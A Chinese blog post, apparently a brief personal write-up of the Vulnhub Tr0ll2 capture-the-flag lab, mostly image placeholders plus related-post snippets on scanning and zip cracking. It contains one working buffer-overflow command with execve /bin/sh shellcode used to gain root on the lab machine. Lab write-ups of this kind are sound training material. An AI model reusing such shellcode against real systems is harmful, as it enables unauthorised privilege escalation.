Vulnhub靶机 Tr0ll2

最新推荐文章于 2025-01-16 22:09:08 发布
最新推荐文章于 2025-01-16 22:09:08 发布
阅读量623 收藏
点赞数 1
CC 4.0 BY-SA版权
分类专栏： vulnhub
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.youkuaiyun.com/qq_38005854/article/details/105752306
博客记录了一次尝试登录FTP并下载文件的过程，期间遇到了需要密码的问题，博主尝试使用之前看到的图片作为密码线索，最终通过某种技术手段快速获取了密码。

摘要生成于 C知道 ，由 DeepSeek-R1 满血版支持， 前往体验 >

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

80什么也没找到
ftp倒是登录成功了
下载文件

在这里插入图片描述

需要密码
去看看之前看到的图片

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

以为是密码
结果是网页

在这里插入图片描述在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

速度好快啊
直接密码就出来了

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述在这里插入图片描述在这里插入图片描述

./r00t $(python -c 'print "A"*268 + "\x70\xfb\xff\xbf" + "\x90" * 10 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd\x80" ')

在这里插入图片描述
缓冲区还是有点蒙蔽
七天去弄这个应该够了
加油

VulnHub-Tr0ll1靶机实战
千寻的博客
01-12 753
靶机下载地址 https://www.vulnhub.com/entry/tr0ll-1,100/ 环境: Vmware 15.5 靶机地址:192.168.246.128 kali地址:192.168.246.131 第一部分 信息收集 第一步 进行端口扫描，去发现存活主机，发现主机开放21、22、80端口 namp -sP 192.168.246.0/24 nmap -sS -sV -TS -A -P- 192.168.246.131 第二步 访问80端口 第三步 只能
小白的靶机VulnHub-Tr0ll2
wo41ge的博客
12-25 499
找到了此次CTF目标计算机IP地址：192.168.86.174 21、22、80端口 直接访问 查看 源代码 图片下载 进行 查看 发现作者是Tr0ll 可能 是一个 有效的用户名 直接尝试/robots目录 把这个文件robots.txt下载下来 剔除反斜杠，使用dirb进行批量尝试，挖掘可用的目录 发现4个可用的目录 以此访问上述4个目录，并查看其网页源码 发现有用的信息 四个目录都是如此 下载下来 strings分析看一下 根据上面提示获得存在隐藏目录y0ur_self 尝试.
VulnHub靶场系列-Tr0ll2
rlenew的博客
05-28 759
主机：192.168.136.133 靶机：192.168.136.158 先用nmap扫描网段发现目标主机以及其开放的端口和服务 登陆主页 按照惯例查看一下源代码 发现一个有用的信息Author:Tr0ll，试一下利用这个能不能登上ftp 下载这个压缩包但是提示需要密码解压 然后再深层次扫描一下看看有没有其他漏掉的信息 登上robots.txt看看有没有其他有用的 发现有超级多个文件，经过一次次查看，发现在don’t_bother有一张图片 在源代码查看发现存在隐藏文件，下载图片 用ca
vulnhub靶场--Tr0ll2靶场
zzzzzzkeai的博客
11-27 1009
vulnhub靶场--Tr0ll2靶场
Vulnhub系列-Tr0ll-2
Yasso的博客
12-24 782
靶机：192.168.249.136 kali: 192.168.249.132 一、信息收集 nmap -sV -sS -A 192.168.249.136 –查看开放端口及服务 –ftp 21端口发现需要用户名和密码— 猜测用户名可能是Tr0ll 试了试密码也是这个 有个zip但要密码 dirb http://192.168.249.136/–对80端口http服务深入探测– –robots(.txt)可以正常访问– –应该是目录，作为字典扫一下— dirb http://192.168.2
Linux unzip命令
dency
05-27 472
Linux unzip命令用于解压缩zip文件 unzip为.zip压缩文件的解压缩程序。 语法 unzip [-cflptuvz][-agCjLMnoqsVX][-P <密码>][.zip文件][文件][-d <目录>][-x <文件>] 或 unzip [-Z] 参数： -c 将解压缩的结果显示到屏幕上，并对字符做适当的转换。 -f 更新现有的文件。 -l 显示压缩文件内所包含的文件。 -p 与-c参数类似...
VulnHub-Tr0ll1.zip
01-12
VulnHub-Tr0ll1靶机学习笔记，一部分是学习笔记过程，另一部分是学习过程整理的lol.pacp\.c文档、user.txt等文档，供大家参考学习
Vulnhub Tr0ll2靶机实战
最新发布
kiritio1024513的博客
01-16 991
一次有用的靶机实战
VulnHub-Tr0ll1靶机学习笔记与文档整理
资源摘要信息:"VulnHub-Tr0ll1.zip文件是一个包含了VulnHub-Tr0ll1靶机学习笔记及相关文档的压缩包。VulnHub是一个为安全研究人员和爱好者提供真实网络环境的平台，用于实践渗透测试技能。Tr0ll1是VulnHub上的一个...
【Vulnhub通关】Tr0ll: 1
icewolf00的博客
02-28 1384
Tr0ll: 1LinuxNAT渗透测试目标：获取靶机root权限并读取Flag文件。
OSCP练习：vulhub靶机TR0LL 2攻略
weixin_47311099的博客
04-22 4566
信息收集 主机发现 先用namp做个扫描 在这里插入图片描述 发现21ftp、22ssh、80http 网站信息收集 访问web页面，跟上一关一样没啥东西 爆一下网站目录 发现robots文件中告诉我们一些路径，将其保存当作dirb字典在进行爆破 果然又发现了几个路径，但是所有页面都是同一个图…以及一句话… 但是！当我们把图片下载下来，算一下MD5就会发现/dont_bother里的图片MD5跟其他的不一样！ 看一眼图片二进制发现重要信息，y0ur_self会是突破电 strings cat_t
9-vulnhub-Tr0ll2
尼德霍格007
07-27 466
VulnHub-Tr0ll2 靶机地址：https://www.vulnhub.com/entry/tr0ll-2,107/ 目标：得到root权限&找到proof.txt 作者：尼德霍格007 时间：2021-7-27 一、信息收集 打开kali虚拟机和目标机，两台虚拟机网络都处于NAT模式 kali查看本机IP段，我的是192.168.21.0/24 nmap扫一下本网段 nmap -sP 192.168.21.0/24 目标机IP地址是192.168.21.145 扫描开放端口 nmap
VulnHub-TR0LL: 2-靶机渗透学习
嗯嗯呐的博客
12-02 1749
**靶机地址：https://www.vulnhub.com/entry/tr0ll-2,107/ 靶机难度：中级（CTF） 靶机描述：Tr0ll系列VM中的下一台计算机，这比原始的Tr0ll难度有所提高，但是解决所需的时间大致相同，并且毫无疑问，巨魔仍然存在！ 难度是从初学者到中级。 目标：得到root权限目录信息收集fcrackzip爆破SSH用户枚举漏洞shellshock攻击缓冲区溢出提权总结 信息收集 nmap确定靶机地址 nmap扫描靶机端口 扫描出三个端口 21 FTP 22 ssh 80
vulnhub Tr0ll: 2
箭雨镜屋
12-30 2501
本文思路： nmap扫描---->dirb扫描发现robots---->dirb配合找到的字典爆破目录---->访问目录下载图片---->strings考察图片，发现新目录y0ur_self---->访问y0ur_self目录，获得字典answer.txt---->弱口令登录ftp---->用fcrackzip爆破lmao.zip密码---->通过密钥ssh登录，得到noob用户的shell---->linpeas.sh探测提权途径---->利用缓冲区溢出漏洞提权
2、vulnhub-tr0ll-2
qq_42660246的博客
09-18 263
成功登录ssh三种方式，详见链接：https://unix.stackexchange.com/questions/157477/how-can-shellshock-be-exploited-over-ssh。前面找到偏移量之后，可以知道栈空间大小占据空间位置，接下来要找到跳板地址也就是ESP，就可以跳到恶意代码shellcode的位置。类型压缩文件密码的工具，工具小巧方便、破解速度快，能使用字典和指定字符集破解，适用于。发现下载下来的4个图片中，2.jpg 明显不同，使用16进行编辑器查看。
Tr0ll2 vulnhub靶场（缓冲区溢出）
weixin_62621015的博客
03-12 1099
Tr0ll2 vulnhub靶场（缓冲区溢出漏洞）
vulnhub-Tr0ll: 2 （考点：脑洞/猜猜猜/linux缓冲区溢出）
冬萍子癸水
04-23 502
https://www.vulnhub.com/entry/tr0ll-2,107/ nat模式， arp-scan -l 比平常多出来的ip就是靶机 这靶机跟上一个同名作品1一样继续考脑洞，猜猜猜，后面的缓冲区溢出，更是3个door不停的变换加断掉ssh加禁止ls等，够无聊的。。。。 这个缓冲区溢出，也挺诡异，我搜了这台靶机中国人写的外国人写的很多文章。esp地址和shellcode有的人这个可...
【Tr0ll2靶场渗透】
一纸荒芜的博客
12-03 734
Tr0ll2靶场渗透
Troll2打靶思路详解（vulnhub）
MCcming的博客
03-02 1905
还是尝试用Hydra进行弱口令爆破并没有什么发现。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值